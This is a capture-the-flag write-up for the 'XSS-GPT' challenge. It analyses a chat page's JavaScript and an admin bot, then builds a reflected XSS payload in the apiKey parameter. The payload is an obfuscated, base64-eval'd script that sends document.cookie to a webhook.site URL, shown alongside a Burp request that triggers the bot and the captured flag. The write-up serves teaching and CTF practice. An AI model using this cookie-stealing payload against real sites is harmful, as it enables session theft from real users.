Case Study - XSS-GPT

Challenge created by skrctf.me
<div id="user-input-container">
<div id="user-input-icon">💬</div>
<input type="text" id="user-input" placeholder="Type your message...">
<button onclick="reportAdmin()">Report Admin</button>
</div>
Viewing the webpage source code , looks like its not submitting through form and "Report Admin"
button calls the reportAdmin()
javascript function
var chatHistory = [];
// Add an event listener to the user input field for the Enter key
document.getElementById("user-input").addEventListener("keyup", function(event) {
if (event.keyCode === 13) {
event.preventDefault();
sendRequest();
}
});
Submit is triggered when we press enter
and it calls sendRequest()
function
function sendRequest() {
const queryParams = new URLSearchParams(window.location.search);
const apiKey = queryParams.get("apiKey");
if (!apiKey) {
alert("Please provide an API key in the URL (e.g. ?apiKey=YOUR_API_KEY)");
return;
}
sendRequest()
function then checks for value of apiKey
in the url parameter , if it works you get chatgpt's response
function reportAdmin() {
const queryParams = new URLSearchParams(window.location.search);
const apiKey = queryParams.get("apiKey");
var xhttp = new XMLHttpRequest();
// Set the HTTP method and API endpoint
xhttp.open("POST", "reportAdmin");
xhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhttp.send("key="+encodeURIComponent(apiKey));
xhttp.onreadystatechange = function() {
if (this.readyState === 4 && this.status === 200) {
alert("Reported to admin!");
}
}
}
reportAdmin()
will be triggered when the report admin button is pressed where it search for apiKey
in url parameter and pass to /reportAdmin (we can assume it trigger the admin bot)
bot.js (admin)
var webPage = require('webpage');
var page = webPage.create();
var system = require('system');
var args = system.args;
phantom.addCookie({
'name' : 'flag',
'value' : 'this_is_not_the_flag',
'domain' : '127.0.0.1',
'path' : '/',
'httponly' : false,
'secure' : false,
'expires' : (new Date()).getTime() + (1000 * 60 * 60)
});
page.open("http://127.0.0.1/?apiKey="+args[1], function(status) {
setTimeout(function(){
console.log("success");
phantom.exit(0);
}, 3000);
});
The bot will contain flag and it will open the page with user supplied apiKey
Objective (Remote Reflected XSS) :
steal admin cookie when admin visit
Exploitation :
xhttp.send("key="+encodeURIComponent(apiKey));
//Means We cannot have space
page.open("http://127.0.0.1/?apiKey="+args[1], function(status) {
Attempting on GET request
Before BASE64 :
document.write('<img src="https://webhook.site/c825884a-2c6c-41e3-a413-a19c5820f215/?c='+document.cookie+'" />');
After BASE64 :
ZG9jdW1lbnQud3JpdGUoJzxpbWcgc3JjPSJodHRwczovL3dlYmhvb2suc2l0ZS9jODI1ODg0YS0yYzZjLTQxZTMtYTQxMy1hMTljNTgyMGYyMTUvP2M9Jytkb2N1bWVudC5jb29raWUrJyIgLz4nKTs=
?apiKey=</script><script>eval(atob("ZG9jdW1lbnQud3JpdGUoJzxpbWcgc3JjPSJodHRwczovL3dlYmhvb2suc2l0ZS9jODI1ODg0YS0yYzZjLTQxZTMtYTQxMy1hMTljNTgyMGYyMTUvP2M9Jytkb2N1bWVudC5jb29raWUrJyIgLz4nKTs="))</script>
http://skrctf.me:4000/?apiKey=%3Cscript%3Eeval(atob(%22YWxlcnQoZG9jdW1lbnQuY29va2llKQ==%22))%3C/script%3E
Running GET request and we get error throw back
"); // Set the callback function to handle the response xhttp.onreadystatechange = function() { if (this.readyState == 4) { if(this.status == 200){ // Parse the response JSON var response = JSON.parse(this.responseText); // Add the user input and response to the chat history chatHistory.push({ role: 'user', content: data.messages[0].content }); chatHistory.push({ role: 'assistant', content: response.choices[0].message.content }); // Update the chat history and clear the user input field updateChatHistory(); clearUserInput(); }else{ alert("Request error! Please check your API key!"); } } }; // Set the request data var data = { "model": "gpt-3.5-turbo", "messages": [{"role": "user", "content": document.getElementById("user-input").value}], "temperature": 0.7 }; // Send the request with the data xhttp.send(JSON.stringify(data)); } function updateChatHistory() { var chatHistoryHTML = ''; for (var i = 0; i < chatHistory.length; i++) { var message = chatHistory[i]; var messageHTML = '
'; messageHTML += '
'; messageHTML += message.content; messageHTML += '
'; chatHistoryHTML += messageHTML; } document.getElementById("chat-history").innerHTML = chatHistoryHTML; } function clearUserInput() { document.getElementById("user-input").value = ''; } function reportAdmin() { const queryParams = new URLSearchParams(window.location.search); const apiKey = queryParams.get("apiKey"); var xhttp = new XMLHttpRequest(); // Set the HTTP method and API endpoint xhttp.open("POST", "reportAdmin"); xhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); xhttp.send("key="+encodeURIComponent(apiKey)); xhttp.onreadystatechange = function() { if (this.readyState === 4 && this.status === 200) { alert("Reported to admin!"); } } }
Error indicate that we might need to escape ");
and close the script tag
Successfully loaded an image with xss
?apiKey=");</script><script>eval(atob("ZG9jdW1lbnQud3JpdGUoJzxpbWcgc3JjPSJodHRwczovL3dlYmhvb2suc2l0ZS9jODI1ODg0YS0yYzZjLTQxZTMtYTQxMy1hMTljNTgyMGYyMTUvP2M9Jytkb2N1bWVudC5jb29raWUrJyIgLz4nKTs="))</script>
After adding escape , xss was successfully executed
Now we report to admin (to summon bot)
Burp post request
POST /reportAdmin HTTP/1.1
Host: skrctf.me:4000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 207
Origin: http://skrctf.me:4000
Connection: close
Referer: http://skrctf.me:4000/?apiKey=test
key=?apiKey=");</script><script>eval(atob("ZG9jdW1lbnQud3JpdGUoJzxpbWcgc3JjPSJodHRwczovL3dlYmhvb2suc2l0ZS9jODI1ODg0YS0yYzZjLTQxZTMtYTQxMy1hMTljNTgyMGYyMTUvP2M9Jytkb2N1bWVudC5jb29raWUrJyIgLz4nKTs="))</script>
Checking webhook and we see flag=SKR{R3flec73D_1n_API_k3y_ebb2fb}
Last updated
Was this helpful?